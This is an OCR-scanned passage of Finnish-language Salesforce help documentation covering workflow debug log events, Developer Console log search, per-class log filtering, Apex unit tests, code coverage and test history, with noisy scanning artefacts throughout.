yldpuolella

INFO ja
yldpuolella

INFO ja
yldpuolella

INFO ja
yldpuolella

INFOja
yldpuolella

INFO ja
yldpuolella

INFOja
yldpuolella

INFOja
yldpuolella

INFOja
yldpuolella

INFOja
yldpuolella

INFO ja
yldpuolella

INFO ja
yldpuolella

INFO ja
yldpuolella

INFO ja
yldpuolella
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Tapahtuman nimi Tapahtuman kanssa kirjatut kentdt tai tiedot  Kirjattu  Kirjattu
luokka  taso
WE_NO_PROCESS_ FOUND Ei mitdan Tyonkulku  INFO ja
yldpuolella
WE_OUTBOUND MSG EntityName: NameField Id,toiminnon Tyonkulku  INFO ja
tunnus ja sdanto yldpuolella
WF_PROCESS NODE Prosessin nimi Tyonkulku  INFOja
yldpuolella
WF_REASSIGN RECORD EntityName: NameField Id jaomistaja Tyonkulku  INFO ja
yldpuolella
WF_RESPONSE NOTIFY [Imoittajan nimi, ilmoittajan séhkoposti ja iimoittajan  Tyénkulku  INFO ja
mallin tunnus yldpuolella
WF RULE ENTRY ORDER Kokonaisluku ja jdrjestyksen osoittaja Tyonkulku  INFO ja
yldpuolella
WF_RULE EVAL BEGIN Saannon tyyppi Tyonkulku  INFO ja
yldpuolella
WF _RULE EVAL END Ei mitadn Tyonkulku  INFO ja
yldpuolella
WF_RULE EVAL VALUE Arvo Tyonkulku  INFO ja
yldpuolella
WF_RULE FILTER Suodatinehdot Tyonkulku  INFOja
yldpuolella
WF_RULE_INVOCATION EntityName: NameField Id Tyonkulku  INFO ja
yldpuolella
WEF_RULE NOT EVALUATED Ei mitaan Tyonkulku  INFOja
yldpuolella
WE_SOFT REJECT Prosessin nimi Tyonkulku  INFOja
yldpuolella
WEF_SPOOL ACTION BEGIN Solmun tyyppi Tyonkulku  INFO ja
yldpuolella
WF_TIME TRIGGER EntityName: NameField Id,aikatoiminto, Tydnkulku INFO ja
aikatoiminnon sailia ja arvioinnin pdivd ja aika yldpuolella
WF TIME TRIGGERS BEGIN Ei mitadn Tyonkulku  INFOja
yldpuolella
KATSO MYOS:

Virheenkorjauslokin suodattaminen Apex-luokille ja Apex-kdynnistimille
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Hakeminen virheenkorjauslokista

Jos haluat hakea tekstia virheenkorjauslokista, kdyta Developer-konsolin komentorivi-ikkunaa.

Virheenkorjauslokit

Ennen kuin voit kdyttad hakua, sinun taytyy suorittaa Apex-lausuntoja luodaksesi lokin komentorivi-ikkunasta.

1. Avaa komentorivi-ikkuna painamalla CTRL+L.
2. Suorita Apex-koodia luodaksesi lokin:

e Syotd Apex-lausuntoja komentoriville kirjoittamalla exec <Apex-lausunnot>.

Esimerkki:

exec List<Account> accts = new List<Account>();

for (Integer i=0; i<20; 1i++) {

Account a = new Account (name='Account Name ' + i);
accts.add(a);

}

e Jos haluat suorittaa Suorita Apex-koodia -ikkunaan sydttdmaasi koodia, kirjoita exec-r.

3. Kunlokion luoty, kirjoita find <merkkijono> hakeaksesi haluamaasi tekstid.
Esimerkki: find Tilin nimi.
Hakutulokset naytetdaan komentorivi-ikkunassa.

4. Sulje komentorivi-ikkuna painamalla CTRL+L.

KATSO MYOS:

Developer-konsolin komentorivin viite

Virheenkorjauslokin suodattaminen Apex-luokille ja Apex-kéynnistimille

Virheenkorjauslokien suodattimien mdadarittdminen Apex-luokille ja
-kéynnistimille

Virheenkorjauslokin suodattaminen tarjoaa tavan lokin sisallén hienosdatamiseen kaynnistimien ja
luokkien tasolla. Tamd on kdytannollista varsinkin Apex-logiikan virheiden korjaamisessa. Jos haluat
esimerkiksi arvioida monimutkaisen prosessin tulosta, voit nostaa lokin sisallon maaraa tietylle
luokalle ja estda muiden luokkien tai kdynnistimien lokitoiminnon yhdella pyynnolla.

Kun korvaat luokan tai kaynnistimen virheenkorjauslokin tasoja, kyseisia virheenkorjaustasoja
sovelletaan myos luokkametodeihin, joita luokkasi tai kaynnistimesi kutsuu, sekd tuloksena
suoritettaviin kdynnistimiin. Kaikki suorituspolussa olevat luokkametodit ja kdynnistimet perivét
virheenkorjauslokiasetukset niiden kutsujalta, ellei néitd asetuksia ole korvattu muilla.

Seuraava kaavio kuvaa virheenkorjauslokitasojen korvaamista luokkien ja kdynnistimien tasolla.

EDITION-VERSIOT

Kaytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Kéaytettdvissd: Enterprise
Edition-, Performance
Edition-, Unlimited Edition-,
Developer Edition- ja
Database.com Edition
-versioissa

Oleta tassa esimerkissd, ettd luokka Class1 aiheuttaa ongelmia, joita haluaisit tutkia tarkemmin. Tall6in luokan Class1
virheenkorjauslokitasot nostetaan mahdollisimman tarkoiksi. C1ass3 ei korvaa néité lokitasoja ja perii siksi Class1:n tarkat
lokisuodattimet. UtilityClass on kuitenkin jo testattu ja osoitettu toimivan oikein, joten sen lokisuodattimet on poistettu kdytdsta.
Vastaavasti Class2 eiole ongelman aiheuttavan koodin polussa, joten sen lokisisallon maarad on minimoitu lisdamaan lokiin vain

Apex-koodin luokan virheitd. Trigger2 periinama lokiasetukset Class2:lta.
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Virheenkorjauslokin hienosaataminen luokille ja kdaynnistimille

Class1 Class3 - UtilityClass
Raised Inherited Lodging
Default Log Log Levels | Database: FINEST Log Setings | Database: FINEST off | Database: NONE
Filters — — — .
Apex Code: FINEST Apex Code: FINEST Apex Code: NONE
Trigger1 Apex Profiling: FINEST Apex Profiling: FINEST Apex Profiling: NONE

Database: INFO

Apex Code: DEBUG

Apex Profiling: INFO . Class2 Trigger2
o I'_""”"”i”:' Inherited
2999 batabase: NONE Log Settings | Database: NONE
| e

Apax Code: ERROR Apax Code: ERROR
Apex Profiling: NONE Apex Profiling: NONE

Alla on pseudo-koodiesimerkki, johon kaavio perustuu.

1. Triggerl kutsuu Classl:n metodin ja toisen metodin Class2:sta. Esimerkki:

trigger Triggerl on Account (before insert) {
Classl.someMethod () ;
Class2.anotherMethod() ;

2. Classl kutsuu Class3:n metodia, joka puolestaan kutsuu apuluokan metodia. Esimerkki:

public class Classl {
public static void someMethod () {
Class3.thirdMethod() ;

public class Class3 {
public static void thirdMethod() {
UtilityClass.doSomething() ;

3. Class?2 aiheuttaa kdynnistimen Trigger2 suorittamisen. Esimerkki:

public class Class2 {
public static void anotherMethod () {
// Some code that causes Trigger2 to be fired.

KATSO MYOS:

Virheenkorjauslokien tasot
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Testi

Tekemiesi muutosten testaaminen

Tama osio sisaltad tietoja tekemiesi muutosten testaamiseen.
e Apex-yksikkotestit

e Tyoskentely Apex-testisuorituksella

e Testien suorittaminen Developer-konsolissa

e Anonyymin Apex-koodin suorittaminen

Apex-yksikkotestit

Testit ovat tdrked osa sovelluksesi onnistumista, varsinkin jos sovellus on tarkoitettu asiakkaiden
kdyttoon. Jos varmistat, ettd sovelluksesi toimii odotetulla tavalla eikd odottamattomia toimintoja
tapahdu, asiakkaasi luottavat sinuun enemman.

Voit suorittaa ndita yksikkétestien ryhmid.

e Tietyn luokan jotkin tai kaikki metodit

e Tiettyjen luokkien jotkin tai kaikki metodit

e Esimdaritetty luokkien sarja, jota kutsutaan testisarjaksi
e Kaikki organisaatiosi yksikkotestit

Salesforce-kayttoliittymésta kaynnistetyt Apex-testit suoritetaan samanaikaisesti. Ellei testisi suoritus
sisalld vain yhta luokkaa etka ole valinnut Always Run Asynchronously (Suorita aina
ei-synkronoidusti)kehittdjan konsolin Test (Testi) -valikosta, kdyttoliittymdsta kdynnistetyt testit
suoritetaan ei-synkronoidusti. Apex-testiluokat asetetaan Apex-ty6jonoon suorittamista varten.
Vuorokauden aikana suoritettavien testiluokkien enimmadismaara on 500 tai 10 kertaa
organisaatiossasi olevien testiluokkien maard, kumpi onkaan suurempi. Sandbox- ja Developer
Edition -organisaatioissa tdma rajoitus on suurempi: 500 tai 20 kertaa organisaatiossasi olevien
testiluokkien mdard, kumpi onkaan suurempi.

Yksikkotestien kattama koodi

Ennen kuin voit ottaa koodisi kdyttodn tai paketoida sen Force.comAppExchange-palvelua varten,
seuraavien ehtojen tulee tayttya:

e Vahintdan 75 prosenttia Apex-koodistasi on oltava yksikkdtestien kattamaa ja kaikkien testien
taytyy valmistua onnistuneesti.

Huomioi seuraavat asiat.

-~ Kun Apex-koodia otetaan kdyttddn tuotanto-organisaatiossa, kaikki organisaatiosi nimitilan
yksikkotestit suoritetaan oletusarvoisesti.

- System.debug-metodin kutsuja ei lasketa Apex-koodin kattavuuteen.

- Testimetodeja ja testiluokkia ei lasketa Apex-koodin kattavuuteen.

EDITION-VERSIOT

Kéytettavissa: Salesforce
Classicissa

Kaytettavissa Performance
Edition-, Unlimited Edition-,
Developer Edition-,
Enterprise Edition- ja
Database.com Edition
-versioissa

Hallittavat paketit eivét ole
kaytettavissa
Database.com-versiossa.

KAYTTJAOIKEUDET

Apex-luokkien
madrittdminen,
muokkaaminen,
poistaminen,
suojausasetusten
madrittdminen,
versioasetusten
madrittdminen,
riippuvuuksien
tarkasteleminen ja testien
suorittaminen:

e Apex-laadintaoikeus

- Vaikka vain 75 prosenttia Apex-koodistasi on oltava yksikkétestien kattamaa, sinun ei tulisi keskittyd testatun koodin
prosentuaaliseen mdardan. Sen sijaan sinun tulisi varmistaa, ettd sovelluksesi kaikki mahdolliset kayttotapaukset on otettu
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huomioon, mukaan lukien positiiviset ja negatiiviset tapaukset, sekd tietuejoukot ja yksittéiset tietueet. Talld tavalla yksikkétestien
tulisi kattaa vahintadn 75 % koodistasi.
e Kullakin kdynnistimelld on oltava jonkin verran testikattavuutta.
e Kaikkien luokkien ja kaynnistimien taytyy kdantya onnistuneesti.
Jos testisi kutsuu toista luokkaa tai kaynnistda kaynnistimen, kyseinen luokka tai kaynnistin sisallytetdan koodin kattavuuden laskutoimiin.
Kun testit on suoritettu, koodin kattavuuden tulokset ovat saatavilla Developer-konsolista.
Hanki koodin kattavuuden tulokset suorittamalla ensin testejdsi joillakin seuraavista tavoista.

e Joshaluat suorittaa kaikki testit, valitse kehittdjan konsolistaTest (Testi) > Run All (Suorita kaikki). Vain osan testeistd suorittaminen
ei aina paivitd koodin kattavuuden tuloksia oikein, joten paras tapa ndhda koodisi kattavuus on suorittaa kaikki testit.

e Lisdtietoja testien suorittamisesta kehittdjan konsolista on kohdassa Testisuorituksen luominen.

e Lisdtietoja uudelleenkaytettdvdn testisarjan madrittdmisestd kehittdjan konsolissa on kohdassa Apex-testiluokkien joukkojen hallinta
testisarjoilla.

e Voit suorittaa kaikki testit kirjoittamalla Mdaritykset-valikon Pikahaku-kenttddn Apex, valitsemalla Apex-luokat ja napsauttamalla
Suorita kaikki testit.

e \Voit suorittaa testejd yksittdiselle luokalle kirjoittamalla Madritykset-valikon Pikahaku-kenttddn Apex ja valitsemalla
Apex-testisuoritus. Napsauta Valitse testeja ja valitse luokat, jotka sisaltdvat suoritettavat testit, ja napsauta Suorita.

Kun olet suorittanut testit, voivat tarkastella koodin kattavuuden tuloksia kehittdjan konsolissa. Naihin tuloksiin sisaltyy yksittdisen luokan
tai kdynnistimen koodirivit, jotka testit kattavat. Lisatietoja on kohdassa Koodin kattavuuden tarkistaminen.

KATSO MYOS:
Tyoskentely Apex-testisuorituksella

Apex Developer Guide: Code Coverage Best Practices

Apex-testin suoritus

Tydskentely Apex-testisuorituksella

1. Kirjoita Maz.antyks.et—vahkon Pikahaku-kenttddn Apex-testisuoritus javalitse EDITION-VERSIOT
Apex-testisuoritus.
2. Napsauta Valitse testeja... -painiketta. Kaytettdvissa Salesforce
' ‘ . _ S Classicissa ja Lightning
@ Note: Jossinullaon hallittavasta paketista asennettuja Apex-luokkia, sinun téytyy kdantaa Experiencessa
ne ensin napsauttamalla Kaanna kaikki luokatApex luokat -sivulta, jotta ne ndytetaan
ensimmadisind luettelossa. Lisatietoja on kohdassa Apex-luokkien hallinta sivulla 53. KdyteftGvissa: Enterprise
Edition-, Performance
3. Valitse suoritettavat testit. Testiluettelot sisdltavat luokkia, jotka sisaltavat testimenetelmia. Edition-, Unlimited Edition-,

Developer Edition- ja
Database.com Edition
-versioissa

e Voit valita testejd asennetusta hallittavasta paketista valitsemalla sitd vastaavan nimitilan
avattavasta luettelosta. Vain hallittavan paketin luokat ja niiden valitut nimitilat nakyvat
luettelossa.

e \Voit valita organisaatiossasi paikallisesti olevia testejd valitsemalla avattavasta luettelosta
[Oma nimitila] -kohdan. Vain paikalliset luokat, jotka eivat ole perdisin hallituista paketeista nakyvat luettelossa.

e Valitaksesi minkd tahansa testin, valitse avattavasta luettelosta [Kaikki nimitilat]. Kaikki organisaation luokat tulevat nakyviin,
riippumatta siitd, ovatko ne perdisin hallitusta paketista.

290


https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_code_coverage_best_pract.htm

Paranna Salesforcea koodilla Apex-testin suoritus

@ Nofe: Tdssd luettelossa ei ndytetd parhaillaan kdynnissd olevien testien luokkia.

4, \Valitse Suorita.

Kun suoritettavat testiluokat on valittu, valitut luokat asetetaan Apex-tydjonoon suorittamista varten. Vuorokauden aikana suoritettavaksi
valittavien testiluokkien enimmdismadra on 500 tai 10 kertaa organisaatiosi testiluokkien maara. Sandbox- ja Developer Edition
-organisaatioissa tama raja on suurempi: 500 tai 20 kertaa organisaatiossasi olevien testiluokkien mdard, kumpi onkaan suurempi.

Voit valita testien suorituksen aikana yhden tai useamman testin ja peruuttaa ne napsauttamalla Keskeyta.
Kun testi on suoritettu, voit:

e Napsauta testid ndhdaksesi lisdtietoja tuloksista. Jos testi epdonnistuu, ndytetdan ensimmdinen virheviesti ja pinoseuranta.

e napsauttaa Nayta nahdaksesi Apex-koodin ldhteen.

@ Note: Testin tulokset ndytetddn 60 minuuttia testin suorittamisen jdlkeen.

Tarkastele organisaatiosi kaikkien testien tuloksia Apex-testitulosten sivulta. Kirjoita Madritykset-valikon Pikahaku-kenttddn Apex
ja valitse Apex-testisuoritus ja napsauta Nayta testihistoria.

Kdytd Developer-konsolia nahdaksesi lisdtietoja testin suorittamisesta:

1. Avaa kehittdjan konsoli.

2. Suorita testeja Apex-testien suoritussivulta.

3. Tarkista Developer-konsoli kdydaksesi pyynnon lapi.

Testien rinnakkaisen suorittamisen poistaminen kdytosta

Salesforce-kayttoliittymadstd (Developer-konsoli mukaan lukien) kdynnistetyt testit suoritetaan rinnakkain. Testien suorittaminen rinnakkain
saattaa nopeuttaa testien suorittamista. Joskus testien suorittaminen rinnakkain johtaa tietojen ristiriitaongelmiin, jolloin sinun kannattaa
poistaa rinnakkainen suorittaminen kaytosta. Tietojen ristiriitaongelmiaja UNABLE _TO_LOCK_ROW-virheitd saattaa iimeta seuraavissa
tapauksissa.

e Kun testit paivittavat samoja tietueita samanaikaisesti — Samat tietueet péivitetdan tavallisesti, kun testit eivat luo omia tietojaan ja
poistavat tietojen eristyksen kdytosta kdyttadkseen organisaation tietoja.

e Kun rinnakkain suoritettavissa testeissd, jotka yrittavat luoda tietueita identtisilld indeksikentan arvoilla, tapahtuu lukkiutuma —
testitiedot keratddn takaisin, kun testimetodi on suoritettu. Lukkiutuma tapahtuu, kun kaksi suoritettavaa testia odottavat toisiaan
kerdtakseen tietoja takaisin. Ndin kdy, jos molemmat testit lisddvat tietueita, joilla on sama yksil6llinen indeksikentan arvo eri tilauksissa.

Voit estda naiden virheiden syntymisen poistamalla testien rinnakkaisen suorittamisen kaytosta Salesforce-kayttoliittymasta:
1. Kirjoita Madritykset-valikon Pikahaku-kenttddn Apex-testisuoritus,valitse Apex-testisuoritus ja napsauta Vaihtoehdot....

2. Valitse Apex-testien suorittamisen vaihtoehdot -ikkunassa Poista Apex-testien rinnakkainen suorittaminen kdytdsta ja napsauta
oK.

Lisdtietoja testitiedoista on kohdassa “Testitietojen eristdminen organisaation tiedoista yksikkétesteissa” Force.comApex Code Developer's
Guide -oppaassa. Tama vaihtoehto ei vaikuta testien suoritusjarjestykseen, jotka jatkuvat ei-synkronoidusti Apex-testien suoritussivulta.

Koodin kattavuuden tulosten tarkastaminen

Kun olet suorittanut testeja Apex-testien suorittaminen -sivulta, voit tarkastella koodin kattavuuden tietoja Developer-konsolista. Lisatietoja
on kohdassa Koodin kattavuuden tarkistaminen.

Jos haluatlyhentda Arvioi organisaatiosi koodin kattavuus -toiminnolla saatujen koodin kokonaiskattavuuden tulosten laskenta-aikaa,
napsauta Vaihtoehdot..., valitse Sdilyta vain koodin kokonaiskattavuus ja napsauta sitten OK. Kayta tatd asetusta vain, kun sinulla
on paljon testejd ja suuret maardt Apex-koodia, eli kun Apex-testimetodien maara kerrottuna kaikkien luokkien ja kaynnistimien maaralla
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on satoja tuhansia. Tamad asetus johtaa siihen, etta kaikkien testimetodien koodin kattavuuden tulokset tallennetaan kokonaismuodossa.
Talloin et voi tarkastella yksittdisten testimetodien koodin kattavuuden tuloksia, kuten sinisid ja punaisia korostuksia, jotka nayttavat
koodin kattavuuden rivikohtaisesti Developer-konsolissa. Lisatietoja testien suorittamisesta on Salesforce-ohjeessa: Testisuorituksen
luominen ja Apex Developer Guide -oppaassa: Run Unit Test Methods.

[tsendisen automaattinumerointijakson testivalinta

Vélttaaksesi aukkoja automaattinumerointikentissd organisaatiosi tietueissa, jotka aiheutuvat Apex -testien luomista testitietueista,
napsauta Asetukset..., valitse Itsendinen automaattinumerointijakso, ja napsauta sitten OK. Tama valinta eristad Apex -testeissa
kdytettdvdn automaattinumerointijakson organisaatiosi kayttamasta jaksosta. Tdman tuloksena Apex testien luomat testitiedot eivat
aiheuta automaattinumerointijakson kenttien korotusta uusille ei-testitietueille organisaatiossasi.

Jos tatd valintaa ei ole otettu kdyttoon, automaattinumerointikenttiin jaa aukkoja aina kun Apex -luokat luovat testitietueita
automaattinumerointikentissd. Esimerkiksi, jos Asiakkuudessa on automaattinumerointikenttd, ja organisaatiossasi on 50 asiakkuustietuetta,
viimeisimpana luodun asiakkuuden kentédn arvo voi olla N-0050. Suoritettuasi Apex -testin, joka luo viisi testiasiakkuutta, tdmd aiheuttaa
automaattinumerointisarjan kasvamisen viidelld, vaikka naitd testeja ei ole viety tietokantaan, ja ne olisi vedetty takaisin. Seuraavan kerran,
kun luot ei-testiasiakkuustietueen, sen automaattinumerointikentdn arvo on N-0056 sen sijaan, ettd se olisi N-0051, huolimatta
aukosta jaksotuksessa. Jos otat tdaman valinnan kayttédn ennen kuin suoritat Apex testid, joka luo testitiedot, automaattinumerointijakso
sdilytetddn, ja seuraavalla ei-testitietueella on jatkuva automaattinumerointiarvo: N-0051.

Huomaa, ettd automaattinumerointisarjassa voi silti olla aukkoja muissa tilanteissa, esimerkiksi, kun kaynnistimet yrittdvat lisatd uusia
tietueita, niiden suoritus epaonnistuu ja tietueet palautetaan. Tassa tapauksessa aukkoja ei voida valttad kokonaan, koska samassa siirrossa
jotkut tietueet voidaan syottda onnistuneesti joidenkin palautuessa.

KATSO MYOS:
Avaa Developer-konsoli
Apex-testitulokset
Yksityiskohtaiset Apex-testitulokset
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Apex-testitulokset

Kirjoita Mdaritykset-valikon Pikahaku-kenttddn Apex, valitse Apex-testisuoritus ja napsauta
Nayta testihistoria tarkastellaksesi organisaatiosi kaikkia testituloksia vain itse suorittamiesi testien
tulosten sijaan. Testitulokset sdilytetadn 30 pdivaa testin suorittamisen jdlkeen, ellei niita poisteta.

Saat kohteiden suodatetun luettelon nakyviin valitsemalla ennalta maaritetyn luettelon
N&kymé-alasvetoluettelosta tai napsauttamalla Luo uusi nakyma maarittadksesi omia mukautettuja
nakymid.Voit muokata luomaasi nakymad tai poistaa nakymdn valitsemalla sen
N&kymé-alasvetoluettelosta ja napsauttamalla Muokkaa.

Napsauta Nayta saadaksesi lisdtietoja tietystd testistd.

Virheenkorjausloki asetetaan automaattisesti tietyille lokitasoille ja luokille, joita ei voi muuttaa
Apex-testisuoritus-sivulta.

Luokka Taso
Tietokanta INFO
Apex-koodi FINE
Apex-profilointi FINE
Tyonkulku FINEST
Vahvistus INFO

@ Tarkedd: Ennen kuin voit ottaa Apex-koodia kdyttdon tai pakata sita Force.com AppExchange
-palvelua varten, seuraavien ehtojen tulee tayttya:

e Vahintdan 75 prosenttia Apex-koodistasi on oltava yksikkétestien kattamaa ja kaikkien
testien taytyy valmistua onnistuneesti.

Huomioi seuraavat asiat.

-~ Kun Apex-koodia otetaan kdyttoéon tuotanto-organisaatiossa, kaikki organisaatiosi
nimitilan yksikkotestit suoritetaan oletusarvoisesti.

- System.debug-metodin kutsuja ei lasketa Apex-koodin kattavuuteen.
— Testimetodeja ja testiluokkia ei lasketa Apex-koodin kattavuuteen.

- Vaikka vain 75 prosenttia Apex-koodistasi on oltava yksikkétestien kattamaa, sinun ei
tulisi keskittya testatun koodin prosentuaaliseen madrdan. Sen sijaan sinun tulisi
varmistaa, etta sovelluksesi kaikki mahdolliset kdyttdtapaukset on otettu huomioon,
mukaan lukien positiiviset ja negatiiviset tapaukset, sekd tietuejoukot ja yksittaiset
tietueet. Talld tavalla yksikkétestien tulisi kattaa vahintdan 75 % koodistasi.

e Kullakin kaynnistimelld on oltava jonkin verran testikattavuutta.

e Kaikkien luokkien ja kaynnistimien taytyy kddntya onnistuneesti.

KATSO MYOS:
Yksityiskohtaiset Apex-testitulokset
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EDITION-VERSIOT

Kaytettavissa Salesforce
Classicissa ja Lightning
Experiencessa

Kaytettdvissa: Enterprise
Edition-, Performance
Edition-, Unlimited Edition-,
Developer Edition- ja
Database.com Edition
-versioissa

KAYTTJAOIKEUDET

Apex-luokkien
madrittdminen,
muokkaaminen,
poistaminen,
suojausasetusten
madrittdminen,
versioasetusten
madrittdminen,
riippuvuuksien
tarkasteleminen ja testien
suorittaminen:

e Apex-laadintaoikeus
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Yksityiskohtaiset Apex-testitulokset

Voit tarkastella suorittamiesi testien tulosten sijaan organisaatiosi kaikkien testien tuloksia EDITION-VERSIOT
oletusnakymdssa 30 pdivan ajan, ellei niitd poisteta, kirjoittamalla Maaritykset-valikon
Pikahaku-kenttddn Apex, valitsemalla Apex-testisuoritus ja napsauttamalla Nayta Kdyfettaviss Salesforce
testihistoria. Napsauta Nayta saadaksesi lisdtietoja tietysta testista. Classicissa ja Lightning

Experiencessa

KATSO MYOS: Kaytettavissd: Enterprise
Apex-testitulokset Edition-, Performance
Edition-, Unlimited Edition-,
Developer Edition- ja
Database.com Edition
-versioissa

KAYTTJAOIKEUDET

Apex-luokkien
madrittdminen,
muokkaaminen,
poistaminen,
suojausasetusten
madrittdminen,
versioasetusten
madrittdminen,
riippuvuuksien
tarkasteleminen ja testien
suorittaminen:

e Apex-laadintaoikeus

Apex-testihistoria

Apex-testihistoria-sivu ndyttaa kaikki tiettyyn testisuoritukseen liittyvdt testitulokset. Sivulla ndytetdan EDITION-VERSIOT
vain ei-synkronoidusti suoritettujen testien tulokset.

Kirjoita Madritykset-valikon Pikahaku-kenttddn Apex javalitse Apex-testihistoria nahdaksesi Kaytettavissa: Lightning
organisaatiosi kaikkien testisuoritusten tulokset. Testitulokset sdilytetddn 30 pdivda testin Experience

suorittamisen jalkeen, ellei niitd poisteta. Kayleffavissa: Enferprise

Apex-testihistoria-sivulla on testisuoritusten luettelo tunnuksen mukaan lajiteltuna. Napsauta Edition-, Performance

testisuorituksen tunnusta nahdaksesi sen kaikki testimetodit. Voit suodattaa testimetodeja Edition-, Unlimited Edition-,

ndyttdaksesi tietyn testisuorituksen lapdissyt, epdonnistuneet tai kaikki testimetodit. Developer Edition- ja
Database.com Edition

Napsauta testiluokan nimed saadaksesi lisdtietoja tietysta testisuorituksesta. -
-versioissa

Tila-sarake ndyttad epdonnistuneiden ja testisuorituksen jonoon asetettujen metodien mdaran.
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SETUP

- . Create ¥
Apex Test History

N ALL D ILEL
1 707xx000000E01CAAS  00:37.655 8/18/2016 1047 AM O i 26 v
1
1 bulkTestCasel 00:05.229 Pass v
2 negativeTestCasel 00:00.204 Pass. A d
3 singleTestCasel 00:00.196 Pass v
[»Y 4 singleTestCasel e 00:31.171 Pass v

5 singleTestCase2 e  00.00.855 Pass v

Testien suorittaminen Developer-konsolissa

Testien suorittaminen Developer-konsolissa

Kayta kehittdjan konsolia maarittaaksesi testisuorituksia, suorittaaksesi testeja ja tarkastaaksesi Apex-koodin kattavuuden.

Voit hallita testejasi kehittdjan konsolin Test (Testi) -valikosta.

Always Run Asynchronously (Suorita aina ei-synkronoidusti): Jos tdama vaihtoehto ei ole valittuna, testisuoritukset, jotka sisdltavat
testejd vain yhdestd luokasta, suoritetaan synkronoidusti. Testisuoritukset, jotka sisaltavat useamman kuin yhden luokan, suoritetaan
ei-synkronoidusti riippumatta tamadn vaihtoehdon valinna.st

New Run (Uusi suoritus): Luo testisuoritus. Lisdtietoja on kohdassa Testisuoritukset luominen.
Rerun (Suorita uudelleen): Suorita Tests (Testit) -valilehdessa valittu testi.

Rerun Failed Tests (Suorita epdonnistuneet testit uudelleen): Valitse tama vaihtoehto suorittaaksesi uudelleen vain epaonnistuneet
testit Tests (Testit) -valilehdesta valitusta testisuorituksesta.

Run All (Suorita kaikki): Suorita kaikki tallennetut testimetodit.
Abort (Keskeytd): Keskeytd Tests (Testit) -vdlilehdessa valittu testi.

New Suite (Uusi sarja): Luo sarja testiluokista, joita suoritat usein yhdessa. Lisatietoja on kohdassa Apex-testiluokkien joukkojen
hallinta testisarjoilla.

Suite Manager (Sarjojen hallinta): Luo tai poista testisarjoja tai muokkaa testisarjojesi sisaltamia luokkia.
New Suite Run (Uusi sarjan suoritus): Luo testisuoritus yhden tai useamman testisarjan luokista.
Collapse All (Tiivista kaikki): Piilota kaikki Tests (Testit) -valilehdessé avoinna olevat testit.

Expand All (Laajenna kaikki): Naytd kaikki Tests (Testit) -valilehdessd olevat testit.

Clear Test Data (Tyhjennd testitiedot): Tyhjennd nykyiset testitiedot ja koodin kattavuustulokset.
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Test » ‘workspace » Helpr < =
O] always Fun Asynchronausly

e Run

Rerun

Rerun Falled Tests

Rur All

Abart:

Mews Suite
Suite Manager

Mews Suibe Run

Collapse Al

Expand All

Clear Test Data

Suoritetut testit ndytetdan Tests (Testit) -valilehdessa kehittdjan konsolin alapaneelissa.

Logs Tests Checkpoints Query Editor Yiew State Progress Problems ¥
Status  Test Run Engueued Time Duration Failures  Total overall Code Coverage
* =41 707RO000000S6AH Tue Dec 15 2015 2312528 GMT... 1) Z * Class Percent  Lings
* 2 AwesomeClassTest 1 4 Account_After_Insert_Trg 100%: 2z
*® =] testAFailingTest 0:00 AmesomeClass 100%: 33
v =] testMyAwesomeMethod 0:00 ComplexBatch 0% o9
v =] testMyawesomeMethodIfFalse oo Simpletusueable 0% ofe
v =] testMyAwesomeMethodIfTrue 0:00 TestlH e njzs
v # [ SampleClassTest 0 z - — - -

Overall Code Coverage (Koodin kokonaiskattavuus) -ikkuna ndyttda organisaatiosi kunkin luokan katetun koodin prosenttiosuuden.
Ikkuna ndyttda aina ajankohtaisen prosenttiosuuden kullekin luokalle. Kun olet suorittanut kaikkien luokkien testisuorituksen, ikkunassa
ndytetadn myds organisaationlaajuinen kokonaiskattavuus lihavoituna. Lisatietoja on kohdassa Koodin kattavuuden tarkistaminen.

Lisatietoja testauksesta on Apex Developer Guide -oppaassa: Testing Apex.

KATSO MYOS:
Testisuorituksen luominen

Koodin kattavuuden tarkistaminen

Koodin kattavuuden tarkistaminen

Developer-konsoli hakee ja ndyttda organisaatiosi koodin kattavuustiedot. Koodin kattavuuden tulokset saadaan kaikista testeistd, joita
olet suorittanut API:sta tai kayttoliittymasta (esimerkiksi Developer-konsolista, Force.com IDE:std tai Apex-testien suoritussivulta). Jos
haluat tyhjentdd tdmdnhetkiset tulokset, napsauta Test (Testi) > Clear Test Data (Tyhjenna testitiedot). Kun muokkaat luokkaa, sen
koodin kattavuus nollautuu, kunnes suoritat testit uudelleen.

Voit tarkastella koodin kattavuutta useissa Developer-konsolin osioissa.

e Tests (Testit) -vdlilehti sisdltdd Overall Code Coverage (Koodin kokonaiskattavuus) -paneelin, jossa ndytetadn katetun koodin
prosenttiosuus organisaatiosi kaikille Apex-luokille, jotka on siséllytetty testisuoritukseen. Se ndyttad myds kokonaiskattavuuden
prosentteina.

e Kaksoisnapsauta suoritettua testisuoritusta avataksesi Tests Results (Testien tulokset) -ndkyman, joka ndyttda testatun luokan, testatun
metodin, keston, tuloksen (ohitettu, lapdisi tai epdonnistui) ja mahdollisen virheviestin. Jos testi epaonnistui, Stack Trace (Pinoseuranta)
-sarakkeessa naytetadn metodi ja rivinumero, jossa testi epaonnistui.

e Avaa Apex-luokka nahdaksesi sen koodin kattavuuden rivikohtaisesti. Koodin kattavuus -valikko sisaltda yhden tai useamman
seuraavista vaihtoehdoista, riippuen kdyttdonottamistasi testeista:
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- Eimitaan
-~ All Tests (Kaikki testit): Kaikkien suoritettujen testien kattaman koodin prosenttiosuus.
- luokanNimi.metodinNimi: Testisuorituksen aikana suoritetun metodin koodin kattavuuden prosenttiosuus.

Testien kattamat koodirivit ovat sinisia. Koodirivit, joita testit eivat kata, ovat punaisia. Koodirivit, jotka eivat vaadi testien kattavuutta
(esimerkiksi aaltosulkeet, kommentit ja System.debug-kutsut) ovat valkoisia.

Browsers ¥
2012-08-02 12:48:36, jbleyle@180.de */| StripeErrorModel * || StripeCustomer *
Code Coverage: All Tests 85% ~ GoTo || Save

-

http.setMethod ('POST"') ;

Blob headerValue = Blob.valueOf (RPT KEY + ':');
String authorizationHeader = 'BRSIC ' +
EncodingUtil.baseéd4FEncode (headervalue) ;

[zl

http.setHeader ('Zuthorization', authorizationHeader):
http.setBody ('card[number]="+cnumbert'scard[exp year]='+exXxp yeart'sc

if(!Test.isRunningTest()){

system.debug ('#### '+ hs.getBody()):

system.debug('$5statusCode="+hs.getStatusCode());
telse| il

@ Notfe: Kun muokkaat testien kattamaa luokkaa, sininen ja punainen véri tummenevat ldhdekoodin editorissa osoittaakseen, etta
